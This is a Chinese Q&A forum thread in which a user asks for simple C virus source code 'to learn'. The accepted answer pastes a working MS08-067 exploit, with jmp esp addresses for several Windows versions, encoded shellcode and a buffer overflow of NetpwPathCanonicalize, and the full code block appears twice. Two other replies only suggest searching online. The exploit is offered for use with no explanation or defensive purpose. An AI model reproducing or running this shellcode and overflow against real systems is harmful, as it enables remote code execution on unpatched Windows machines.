求几个C病毒源代码,我想学习下
答案:3 悬赏:70
解决时间 2021-04-28 01:44
- 提问者网友:江山如画
- 2021-04-27 02:24
求几个C病毒源代码,简单点的就可以,只是想学习下
最佳答案
- 二级知识专家网友:我的任性你不懂
- 2021-04-27 02:40
ms08-067的,不过不能算是病毒吧
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <Windows.h>
typedef void (*MYPROC)(wchar_t*, wchar_t*, int , wchar_t*, long *, int);
//DWORD jmpesp = 0x294cdf77; //jmp esp µØÖ·
//DWORD jmpesp = 0x77df4c29; //jmp esp µØÖ· win 2k sp4
//DWORD jmpesp = 0x77d5AF0A; //jmp esp µØÖ· win xp sp2
//DWORD jmpesp = 0x77d5B0E0; //jmp esp µØÖ· win xp sp2
DWORD jmpesp = 0x77d29353; //jmp esp µØÖ· win xp sp3
char sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";
int _tmain(int argc, _TCHAR* argv[])
{
unsigned char x[1000];
long q = 1;
LoadLibrary(_T("USER32.dll"));
// HMODULE hNetapi32 = LoadLibrary(_T("netapi32.dll"));
HMODULE hNetapi32 = LoadLibrary(_T("netapi32.dll"));
MYPROC pFunc;
wchar_t buf[1000]=L"";
wchar_t* buf1= L".\\\\x\\..\\..";
wchar_t* buf2=L"\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; //xpsp2
//wchar_t* buf2=L"\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; //xp sp3
char * p ;
// __asm
// {
// int 3
// }
pFunc = (MYPROC)GetProcAddress(hNetapi32,(LPCSTR)"NetpwPathCanonicalize");
wcscpy(buf,buf1);
wcscat(buf,buf2);
p=(char*)buf+(wcslen(buf1)*2-4);
int a = wcslen(buf2)*2;
memcpy(p+wcslen(buf2)*2,(char*)&jmpesp,4);
memcpy(p+wcslen(buf2)*2+4,sc,sizeof(sc));
(pFunc)(
buf,
(wchar_t*)x,
1000,
L"",
&q,
1);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <Windows.h>
typedef void (*MYPROC)(wchar_t*, wchar_t*, int , wchar_t*, long *, int);
//DWORD jmpesp = 0x294cdf77; //jmp esp µØÖ·
//DWORD jmpesp = 0x77df4c29; //jmp esp µØÖ· win 2k sp4
//DWORD jmpesp = 0x77d5AF0A; //jmp esp µØÖ· win xp sp2
//DWORD jmpesp = 0x77d5B0E0; //jmp esp µØÖ· win xp sp2
DWORD jmpesp = 0x77d29353; //jmp esp µØÖ· win xp sp3
char sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";
int _tmain(int argc, _TCHAR* argv[])
{
unsigned char x[1000];
long q = 1;
LoadLibrary(_T("USER32.dll"));
// HMODULE hNetapi32 = LoadLibrary(_T("netapi32.dll"));
HMODULE hNetapi32 = LoadLibrary(_T("netapi32.dll"));
MYPROC pFunc;
wchar_t buf[1000]=L"";
wchar_t* buf1= L".\\\\x\\..\\..";
wchar_t* buf2=L"\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; //xpsp2
//wchar_t* buf2=L"\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; //xp sp3
char * p ;
// __asm
// {
// int 3
// }
pFunc = (MYPROC)GetProcAddress(hNetapi32,(LPCSTR)"NetpwPathCanonicalize");
wcscpy(buf,buf1);
wcscat(buf,buf2);
p=(char*)buf+(wcslen(buf1)*2-4);
int a = wcslen(buf2)*2;
memcpy(p+wcslen(buf2)*2,(char*)&jmpesp,4);
memcpy(p+wcslen(buf2)*2+4,sc,sizeof(sc));
(pFunc)(
buf,
(wchar_t*)x,
1000,
L"",
&q,
1);
return 0;
}
全部回答
- 1楼网友:恕我颓废
- 2021-04-27 03:41
去摆渡一下,应该有很多的额。谢谢
- 2楼网友:偏爱自由
- 2021-04-27 03:28
可以到网站上搜索啊!
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